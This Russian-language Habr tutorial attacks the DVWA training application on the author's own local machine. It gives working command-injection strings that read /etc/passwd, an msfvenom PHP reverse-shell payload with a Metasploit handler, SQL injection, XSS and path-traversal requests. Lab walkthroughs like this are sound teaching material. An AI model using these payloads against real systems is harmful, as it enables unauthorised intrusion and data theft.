Некоторые базовые примеры атаки на уязвимую машину DVWA
Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь некоторыми типами атак на веб-приложение DVWA и не только, и само собой разумеется покажу как устанавливать данную машину.
Сразу хочу сказать что данную машину можно поднять на докер (хотя я встречал и образ под virtualbox). Хотя если использовать дистрибутив Kali GNU/Linux то данная уязвимая машина присутствует в репозиториях дистрибутива и ее можно установить на дистрибутив, без поиска в сети образа для докер или виртуал бокс.
Но я объясню как ее возможно запустить с докера, и установить + запустить из репозитория (для Kali Linux).
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях. Автор статьи не несет ответственности за ваши действия. Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я делюсь своим опытом, и не более, это своего рода онлайн-шпаргалка. Также хочу отметить, что здесь на хабре я не находил примеров прохождения данной уязвимой машины, находил лишь упоминания. И вообще в русско-язычном сегменте интернет не так много информации по данной уязвимой машине, в основном зарубежные источники. Поэтому и делюсь опытом
Про установку я напишу в начале, а теперь к алгоритму.
Алгоритм атаки будет следующий:
Запуск образа уязвимой машины
Сканирование цели
Эксплуатация уязвимостей
Итак приступим к практике
1) Запуск образа уязвимой машины
Скачать образ виртуальной машины можно https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/ iso-образ, и например здесь докер-образ https://github.com/cytopia/docker-dvwa/tree/master
Если использовать докер файл необходимо зайти в директорию с файлом с расширением *.yml, после чего открыть терминал и запусить сборку и запуск уязвимой машины:
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Но для Kali Linux есть более простой метод – просто установить данную машину. Разберем как это сделать.
Для начала найдем ее в репозитории, и после этого установим:
apt search dvwa
sudo apt update
sudo apt install dvwa
После установки запустим ее:
dvwa-start
В крайнем случае не надо искать нужный сетевой мост на локальном интерфейсе, машина запустится на локалхост - 127.0.0.1. В случае с докером (или виртуалбокс) необходимо будет найти машину. Например если мы подняли машину на виртуалбокс (само собой разумеется в том же сетевом интерфейсе где и атакующая система!!!) комутатор имеет адрес, например 192.168.0.1, необходимо найти уязвимую машину просто перебрав ее nmap-ом:
nmap 192.168.0.1-255
В моем случае все проще - 127.0.0.1
2) Сканирование цели
Сканируем цель nmap
nmap -p- -sV 127.0.0.1
Видим открытые порты. Нам нужен второй
Просто открываем браузер и вводим 127.0.0.1:42001 в адресной строке
Запускается веб-приложение. Авторизуемся парой логин пароль - admin password
Открываются панель со вкладками под разные уязвимости
Первое куда входим - DVWA Security
После чего настраиваем уровень сложности для прохождение на low - базовый уровень, самый простой.
После чего начинаем переходить по средним вкладкам с самими уязвимостями
3) Эксплуатация уязвимостей
Первую уязвимую страницу (Brute Force) я пропущу, так как я пробовал использовать для брутфорса и hydra и burpsuite, хотя мало что из этого получилось. Да и к тому же в данной машине есть более вкусные примеры
3.1) Command Injection
Command Injection или OS Command Injection - очень серьезная уязвимость. Позволяет выполнять команды операционной системы прямо в веб-приложении которое запускается в этой ОС.
Во вкладке Command Injection имеется строка для пинга хоста/узла или ip адреса. И соответственно введя в поле домен или ip машина пропингует его. Но хитрость заключается в другом - кроме ip адреса, можно ввести и любые другие unix-команды (для терминала), которые также будут выполняться. То есть, через данную строку есть доступ ко всей системе
Введем ip адрес и команды pwd ls id через точку с запятой:
127.0.0.1 ; pwd ; ls ; id
Нажмем Submit
И приложение действительно пропинговало хост, вывело текущую директорию и ее содержимое, и текущего пользователя
Естественно что через точку запятой можно выполнить например
cat /etc/passwd
В общем последствия могут быть самые непредсказуемые, и не надо никакого брутфорса
3.2) CSRF
Уязвимость CSRF, проэксплуатируем ее.
На этой вкладке нам предлагают сменить пароль. Но интересна не сама вкладка, а адресная строка. Поменяем пароль на passwd, например
И в адресной строке стало видно новый пароль, со всеми вытекающими
3.3) File Upload
В данной вкладке мы можем выгрузить файл на сервер
Для начала я загрузил файл secret на страничке
Upload
и тут же получил его адрес
Забиваю в адресной строке http://127.0.0.1:42001/vulnerabilities/upload/../../hackable/uploads/secret и файл secret будет скачан
Или зная название файла и его адрес можно получить сразу его содержимое, просто забив в терминале
curl
http://127.0.0.1
:42001/vulnerabilities/upload/../../hackable/uploads/secret
Но возможнен и другой, более интересный способ, который не только предоставит доступ к файлу, но и доступ к системе - загрузить вредоносный файл
Для начала в терминале воспользуемся модулем metasploit - msfvenom - модуль для создания полезной нагрузки (эксплоита):
msfvenom -l payloads | grep php
msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > exploit.php
Создается вредоносный exploit.php
После чего заходим в metasploit в терминале
msfconsole
ищем уязвимость /multi/handler
search /multi/handler
выбираем нужную (в моем случае 6-ая строка)
use 6
после чего задаем полезную нагрузку
set payload php/meterpreter/reverse_tcp
Загружаем в веб-приложении вредоносный exploit.php,
(естественно файл загрузится на сервер приложения) таким образом "отравив" его
После чего возвращаемся в терминал в метасплоит, узнаем опции
options
Задаем LHOST
set LHOST 127.0.0.1
После чего начинаем атаку (run или exploit)
Собственно говоря эксплоит успешен, хоть и работает медленно и со сбоями (иначе вылезла бы красная строка).
3.4) SQL Injection
Про SQL Injection много чего написано и в рунете и на зарубежных сайтах. Я лишь продублирую множество ресурсов, но очень просто, коротко и своими словами: SQL инъекции - это инъекции кода SQL, благодаря которому можно получить доступ (фактически открытый) к базе данных, например логины, (иногда пароли), емэйлы и другую информацию пользователей и админов, к примеру в самом веб приложении.
Откроем соответствующую вкладку
и в user id вобьем команду 1' OR 1=1 #
Submit
Получаем базу с id и именами (и фамилиями) пользователей
3.5) XSS
Следующий тип атак - XSS. Позволяет выполнить свой код в уязвимом веб-приложении.
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода». (https://ru.wikipedia.org/wiki/Межсайтовый_скриптинг)
Первая вкладка XSS (DOM) предлагает сменить/выбрать язык
При этом обязательно обращаем внимание на адресную строку
Выбираем English - Select
Наблюдаем, что в адресной строке появились изменения ?default=English
Теперь поменяем English на <script>alert(1)</script> то есть простой javascript, выводящий на экран окно с текстом "1"
Enter
Следующая вкладка XSS (Reflected)
Поле для ввода имени
Вобьем в него тот же скрипт <script>alert(1)</script>
Submit
Или же вот такой <script>alert(XsS)</script>
Submit
и здесь в веб-приложении выполняется наш код
Вкладка XSS (Stored)
В поле имени можно вбить например name, в поле сообщения снова <script>alert(1)</script>
Sign ...
И снова наблюдаем выполнение нашего кода в веб-приложении. Конечно наш код безобидный (выводит лишь сообщения в окне), но злоумышленник таким образом может выполнить и вполне вредоносный код.
3.6) Open HTTP Redirect
Очень интересная уязвимость Open HTTP Redirect. Позволяет получить доступ к страницам, благодаря переадресации в адресной строке.
Откроем сразу Quote2
в конце адреса в адресной строке видим info.php?id=2. Очевидно, что если есть info.php?id=2 то есть и info.php?id=1. Подменим запрос прямо в адресной строке
Enter
И получаем страницу, созданную ранее
Конечно в данном примере, страниц всего 2, и не очень интересно. Но на некоторых уязвимых сайтах имеются несколько тысяч id (info.php?id=n-ное число), и переходя на info.php?id=n - 1 возможно получить доступ к другим страничкам.
В данном примере
введя info.php?id=3 в адресной строке и перейдя - ничего не получаем, так как такой странички нет
3.7) Cryptography
Вкладка Cryptography. В сущности ничего необычного - уязвимое веб-приложение которое сохнаняет данные предидущей сессии (небезопасное криптографическое хранилище)
Копируем шифрованую строку, вставляем в первое поле (для шифровки Encode и дешифровки Decode), нажимаем Decode
Submit - дешифруем
Копируем Olifant, вставляем в поле пароля
Login
Результат - авторизация
Само собой это не все уязвимости, имеющиеся на данной машине. Однако я показал самые простенькие и интересные из них.
А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!